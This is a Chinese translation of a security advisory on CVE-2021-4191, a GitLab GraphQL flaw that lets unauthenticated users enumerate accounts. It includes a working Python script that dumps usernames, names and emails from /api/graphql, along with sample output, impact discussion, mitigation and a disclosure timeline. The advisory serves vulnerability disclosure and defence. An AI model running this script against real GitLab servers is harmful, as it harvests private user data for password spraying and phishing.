CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

本文转自 jake-baines 并作补充

2022年2月25日,GitLab发布了针对CVE-2021-4191的修复程序,该漏洞属于CWE-359 “向未经授权的攻击者暴露私人个人信息”的一个实例。此漏洞现已修复,影响GitLab 13.0及更高版本。该漏洞是由于执行某些GitLab GraphQL API查询时缺少身份验证检查造成的。远程未经身份验证的攻击者可以利用此漏洞收集已注册的GitLab用户名、姓名和电子邮件地址。我们对此问题的初始CVSSv3基本评分为5.3

Metasploit 模块已可用,我们预计该漏洞会被用于信息收集和用户名列表生成。单独使用该漏洞的影响可能微乎其微,但如果结合暴力破解密码和撞库攻击,则可能造成严重后果。

Credit

该问题由高级安全研究员Jake BainesRapid7 的漏洞披露计划中发现并报告。

Impact

GitLab GraphQL API 信息泄露事件允许远程未经身份验证的攻击者恢复用户名、姓名,有时甚至包括电子邮件地址。乍一看,这似乎风险很小。然而,账户发现之所以是 MITRE ATT&CK 框架中的一项技术,是有原因的。收集有效用户账户列表是各种暴力破解攻击的第一步,例如密码猜测密码喷洒凭证填充攻击

这类攻击看似简单,但却十分有效。包括EmotetFancy BearNobelium在内的许多成功的恶意软件/组织都曾使用过这种技术。

开源攻击性安全社区也投入了大量时间开发暴力破解工具,这再次印证了暴力破解在实际攻击中仍然是一种可行的攻击手段。诸如ncrackPatatorCrackMapExecTHC-Hydra等开源暴力破解工具就是例证。

利用攻击者提供的用户名列表实施攻击。GitLab GraphQL API 信息输出的是有效的用户名。因此,此漏洞与现有工具相辅相成。

虽然攻击者总是可以使用包含已知用户名的常用 字典,但暴力破解攻击利用被攻击组织的已知有效用户名,可以提高其成功几率。

此次信息泄露还可能使攻击者能够基于 GitLab 安装创建新的用户名字典——不仅包括 gitlab.com,还包括可以从互联网访问的其他 50,000 个 GitLab 实例。

image

这样的字典并非史无前例。2021年,Clubhouse 曾公开一个 API,允许未经认证的用户枚举 Clubhouse 的用户群。攻击者利用该 API 将数据合并到一个数据库中,然后将其发布到黑客论坛上供任何人使用。

需要注意的是,这并非 GitLab 首次从 API 泄露类似细节。早在 2015 年,MWR Infosecurity就发布了一篇博客文章和一个未经身份验证的远程Metasploit 模块,该模块使用 /api/v3/internal/discover?key_id= API 枚举用户帐户。

Exploitation

经与 GitLab 工程团队协商,我们确认该问题最初是在 GitLab 13.0 中引入的。

存在漏洞的端点是 /api/graphql。GitLab文档指出,身份验证使用个人访问令牌,如下所示。

image

然而,并非所有对该端点的请求都需要身份验证。GitLab 的 /-/graphql-explorer 端点是测试这一点的理想场所。在下图左侧,您可以看到一个用于获取所有用户 ID、姓名和用户名的 GraphQL 请求,右侧则是响应。

image

除了ID、姓名和用户名之外,攻击者还可以获取更多信息。以下列出了未经身份验证的远程攻击者可以窃取的更完整信息列表。

image

以下 Python 脚本将打印一个 CSV 文件,其中包含已发现的 ID、用户名、姓名、电子邮件地址以及用户是否为机器人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)

for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False

以下是上述输出的示例:

1
2
3
4
5
6
albinolobster@ubuntu:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,test@test.com,False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

除了构建用于凭证攻击的用户名列表外,攻击者还可以利用这些信息来发现受影响用户的其他社交媒体帐户和联系人。这可以通过查询单个 GitLab 个人资料页面或简单地将用户名、姓名和电子邮件地址与其他来源进行交叉比对来实现。这种信息收集方式使攻击者能够发起更复杂的网络钓鱼攻击。

Mitigation

除非您打算将 GitLab 作为任何人都可以访问的公共资源提供,否则请确保您的 GitLab 实例无法从互联网访问。当然,我们也强烈建议用户将 GitLab 服务器实例更新到最新版本(14.8.2、14.7.4 和 14.6.5)。禁用公开个人资料也是防止未经授权的信息收集的有效措施。

要禁用公开个人资料,请转到“管理区域”->“常规”->“可见性和访问控制”->“受限可见性级别”。然后选中“公开”旁边的复选框。这样应该可以阻止任何未登录的用户查看用户个人资料。

Disclosure timeline

  • 2021年11月: Rapid7公司的Jake Baines初步发现并确认。
  • 2021年11月18日,星期四:首次联系GitLabs
  • 2021年11月23日,星期二:已向 GitLabs 提交问题 #1408214,并提供了完整的技术细节。
  • 2022年1月17日,星期一:供应商表示,在11月和12月多次更新状态后,修复程序即将推出。
  • 2022年2月8日,星期二:修复程序已准备就绪,经过测试,将在下一次安全更新中发布。
  • 2022年2月25日,星期五: 发布了针对CVE-2021-4191的补丁
  • 2022年3月1日,星期二: Metasploit模块PR#16252已提交,用于修复CVE-2021-4191漏洞。
  • 2022年3月3日,星期四:公开披露CVE-2021-4191(本文档)